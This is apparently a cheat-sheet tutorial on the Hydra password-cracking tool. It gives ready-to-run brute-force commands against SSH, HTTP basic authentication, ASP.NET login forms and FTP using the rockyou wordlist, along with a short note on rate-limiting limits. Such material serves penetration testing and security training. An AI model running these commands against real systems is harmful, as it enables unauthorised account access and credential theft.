Mastering Hydra: A Comprehensive Guide

Hydra is a widely-used password-cracking tool, primarily designed for brute-force attacks on various network services. It is an open-source tool, developed to be fast, flexible, and versatile. Hydra works by trying multiple combinations of usernames and passwords against a target service until it finds valid credentials. Hydra supports a wide range of protocols, including SSH, FTP, HTTP/HTTPS (basic and forms authentication), SMB, SMTP, IMAP, POP3, RDP, MySQL, PostgreSQL, Telnet and LDAP. The tool is designed to handle parallel brute-force attacks by sending multiple login attempts at once, significantly speeding up the process.

SSH

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10 -t 4 -V

HTTP Basic Authentication

hydra -l root -P /usr/share/wordlists/rockyou.txt http://example.com -t 4 -V

HTTP Post Web Form

General syntax:

hydra <username> <wordlist> 10.10.114.136 http-post-form "<path>:<login_credentials>:<invalid_response>"

Example:

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.10 http-post-form "/Login.aspx:ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^:Login failed"

Explanation:
- Syntax after "http-post-form" = "Path-to-Login-Page:POST-Request-Body:Fail-Screen-Identifier"
- POST-Request-Body should include =^USER^ and =^PASS^

FTP

hydra -l anonymous -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.10 -t 4 -V

Limitations

Many modern systems have mechanisms such as rate-limiting or CAPTCHA that can detect brute-force attempts and block them, making Hydra ineffective in those situations. Depending on the password policy and the size of the password list, brute-forcing can take a considerable amount of time, especially with complex passwords or long wordlists.